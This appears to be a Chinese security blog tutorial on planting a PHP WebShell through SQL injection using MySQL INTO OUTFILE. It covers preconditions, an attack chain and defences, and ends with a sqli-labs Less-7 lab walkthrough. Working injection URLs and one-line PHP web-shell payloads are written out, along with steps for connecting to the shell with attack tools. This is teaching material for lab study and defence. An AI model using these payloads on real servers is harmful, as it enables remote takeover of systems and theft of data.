当前位置: 首页 > news >正文

利用SQL文件上传注入植入WebShell

文章目录

  • 从SQL文件上传到WebShell植入
  • 核心概念回顾
  • 核心原理
    • 漏洞前提
  • INTO OUTFILE 详解
  • 攻击链深度剖析(核心内容)
  • WebShell写入原理
  • 防御措施
  • 演示

从SQL文件上传到WebShell植入

当网站后台有 “数据导入”,“执行SQL语句” 等功能,并且允许上传SQL文件

如果这个上传和执行SQL的功能存在漏洞,会发生什么可怕的事情?

本文将揭示一种高级的攻击手法:攻击者上传一个伪装成SQL文件的 特洛伊木马,利用目标系统的SQL注入漏洞,在服务器上直接写入一个WebShell后门

这种攻击可以直接导致服务器被完全控制,数据泄露、篡改、沦为肉鸡等严重后果



核心概念回顾

  • 文件上传漏洞
    • 未对用户上传的文件进行严格校验(类型、内容、大小、路径、权限等),导致恶意文件被上传到服务器
    • 常见风险:上传WebShell、病毒、木马、进行钓鱼攻击等
  • SQL注入漏洞
    • 攻击者将恶意的SQL代码插入到应用程序的数据库查询中,欺骗数据库执行非预期的命令
    • 常见危害:窃取数据、篡改数据、删除数据、执行系统命令(在特定条件下)
  • WebShell
    • 一个运行在Web服务器上的恶意脚本文件(通常用PHP、ASP、JSP等编写),为攻击者提供远程控制服务器的图形化或命令行界面
    • 功能:文件管理、命令执行、数据库操作、内网渗透等

详细介绍请见深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell



核心原理

通过SQL注入漏洞,利用数据库的文件写入功能(如MySQL的 select … into outfile),将WebShell代码写入服务器Web目录,从而获得服务器控制权

漏洞前提

  • 存在SQL注入漏洞(如未过滤的用户输入)
  • 数据库用户具备文件写入权限(如MySQL的file权限)
  • 已知Web目录的绝对路径(如 /var/www/html
  • 可执行扩展名的写入权限(如 .php .jsp等)


INTO OUTFILE 详解

into outfile 是 MySQL 中用于将查询结果导出到服务器文件的 SQL 语句,它是数据导出和备份的重要工具,但在安全配置不当的情况下可能成为严重的安全漏洞

基本语法

SELECT column1, column2, ...
INTO OUTFILE 'file_path'

核心参数说明:

  • file_path
    • 服务器上的绝对路径(如 /var/lib/mysql-files/export.csv
    • 必须包含文件名和扩展名
    • MySQL 用户必须具有 FILE 权限

文件创建规则:

  • 文件必须在服务器本地创建(不能在远程客户端)
  • 不能覆盖现有文件(若文件已存在则报错)
  • 文件由 MySQL 服务用户创建(通常是 mysql
  • 文件权限默认为 -rw-rw----(660)

典型攻击语句:

UNION SELECT "<?php system($_GET['cmd']);?>" 
INTO OUTFILE '/var/www/html/shell.php'

这条命令的意思是将一句话木马导出到 /var/www/html/ 路径下的 shell.php 文件中



攻击链深度剖析(核心内容)

  • 步骤一:寻找攻击入口
    • 目标:找到允许上传文件(特别是SQL文件)并执行/解析/导入该文件内容的功能点
    • 常见位置:后台数据库管理模块、数据导入/导出功能、SQL查询执行页面(允许上传SQL文件执行)、系统维护功能(如“执行SQL脚本”)
    • 关键:该功能在“执行”上传的SQL文件内容时,存在SQL注入漏洞 (核心前提)
  • 步骤二:构造恶意SQL文件
    • 伪装: 文件扩展名必须是 .sql,以绕过基于扩展名的简单过滤
    • 恶意载荷: SQL文件内容包含精心构造的SQL注入语句
    • 核心恶意语句: 利用目标数据库的特性,将WebShell代码写入服务器Web目录的可访问文件中

MySQL

SELECT '' INTO OUTFILE '/var/www/html/uploads/shell.php';
--+ 或
SELECT '' INTO DUMPFILE '/var/www/html/uploads/shell.php';

/var/www/html/uploads/shell.php 是Web服务器可访问的绝对路径(攻击者需要探测或猜测)

  `` 是PHP WebShell代码(如经典的一句话木马: <?php @eval($_POST['cmd']);?>注意:需要将PHP代码中的单引号进行SQL转义(通常用’或0x27)!

  • 步骤三:上传与触发
    • 将构造好的恶意 .sql 文件通过目标系统的上传接口上传
    • 触发系统对上传的SQL文件进行“执行”、“导入”或“解析”操作。这个过程会自动执行文件中的SQL语句
  • 步骤四:执行恶意SQL & 植入WebShell
    • 目标系统(通常是数据库连接组件)读取上传的SQL文件内容并发送到数据库执行
    • 由于存在SQL注入漏洞(或者功能本身设计就是执行任意SQL),数据库会忠实地执行 select … into outfile … (或等效) 语句
    • 结果: WebShell代码被成功写入服务器Web目录下的指定文件(如 shell.php
  • 步骤五:访问WebShell & 控制服务器
    • 攻击者通过浏览器访问 http://target-site.com/uploads/shell.php
    • 通过WebShell提供的接口(如使用中国菜刀/蚁剑/Cobalt Strike等工具连接),攻击者获得服务器的命令执行权限,完全控制服务器


WebShell写入原理

SQL注入漏洞
FILE权限
secure_file_priv允许
已知Web路径
可写目录
成功写入WebShell


防御措施

尽管此攻击方法如此厉害,但还是有很多十分致命的缺点

  • 代码层:
    • 使用参数化查询(Prepared Statements)
    • 严格过滤用户输入(白名单机制)
    • 禁用危险函数(如 eval(), system()
  • 数据库层:
    • 最小权限原则:禁止FILE权限
    • 设置 secure_file_priv = NULL
  • 系统层:
    • Web目录不可执行:chmod -R 755 /var/www/html
    • 定期更新补丁与安全审计
  • WAF防护:
    • 过滤 union select, into outfile等关键词
    • 监控异常文件写入行为


演示

又到了必备的演示时间了,此次演示使用的是 sqli-labs 7
在这里插入图片描述

http://192.168.1.9/sql/Less-7/

添加注入点
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1

题目上也告诉我们了,使用 outfile

判断闭合方式
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1" --+

这个题的闭合方式有些特殊,这里可以看到用 " 也可以闭合,但进一步求证就会看出问题
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1" and 1=2--+

继续尝试,发现 ')) 也可以闭合
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1')) and 1=1 --+

验证一下发现报错,这即为正确答案
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1')) and 1=2 --+

查看源代码我们可以发现,因为 "‘’ 给闭合了,所以才不报错,但命令也不会执行
在这里插入图片描述

判断列数
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1')) group by 1,2,3 --+

联合注入
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,3--+

撰写攻击语句
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,"<?php @eval($_POST['hhh']);?>" into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\127.0.0.1\\sql\\Less-7\\hhh.sql"--+

使用 Burp 拦截上传 .sql 文件的请求,在Burp中修改上传内容
在这里插入图片描述


在网站根目录即可发现上传的文件
在这里插入图片描述


使用蚁剑链接,添加即可
在这里插入图片描述

http://www.dtcms.com/a/305773.html

相关文章:

  • Linux->动静态库
  • UniSeg3D:A Unified Framework for 3D Scene Understanding
  • 如何读懂 火山方舟 API 部分的内容
  • yolo8+阿里千问图片理解(华为简易版小艺看世界)
  • PostgreSQL 与 Oracle 数据库字段类型的详细对比
  • CSS 工作原理
  • Qt知识点2『Ubuntu24.04.2安装Qt5.12.9各种报错』
  • git报failed to connect to github.com port 443 after 21064
  • 项目文档太多、太混乱怎么解决
  • Qt 在 ARM 平台上的移植与优化
  • 中国高铁从追赶到领跑的破壁之路
  • 15.11 单卡训练770M参数模型!DeepSpeed ZeRO-3实战:RTX 4090显存直降6.8GB
  • 接口自动化测试
  • 深入剖析 StarRocks 与 Hive 的区别、使用场景及协同方案实践
  • 【IDEA】JavaWeb自定义servlet模板
  • 手机定位和IP属地究竟有何不同
  • 【Lambda】flatMap使用案例
  • Redis 面试全解析:从数据结构到集群架构(含实战解决方案)
  • 《Java 程序设计》第 10 章 - 接口与 Lambda 表达式
  • #C语言——学习攻略:深挖指针路线(四续)——函数指针数组--转移表
  • 【支持Ubuntu22】Ambari3.0.0+Bigtop3.2.0——Step4—时间同步(Chrony)
  • 从0开始学习R语言--Day62--RE插补
  • STL学习(?、常用的算数算法和集合算法)
  • 跳跃表可视化深度解析:动态演示数据结构核心原理
  • 数据结构第3问:什么是线性表?
  • 数据结构-Set集合(一)Set集合介绍、优缺点
  • 基于 Rust 和土木工程、设备故障诊断、混凝土养护、GPS追踪、供应链物流跟踪系统、地下水监测等领域的实例
  • CouchDB 从入门到精通:构建高效的分布式文档数据库
  • cpp实现音频重采样8k->16k及16k->8k
  • 2025年华为HCIA-AI认证是否值得考?还是直接冲击HCIP?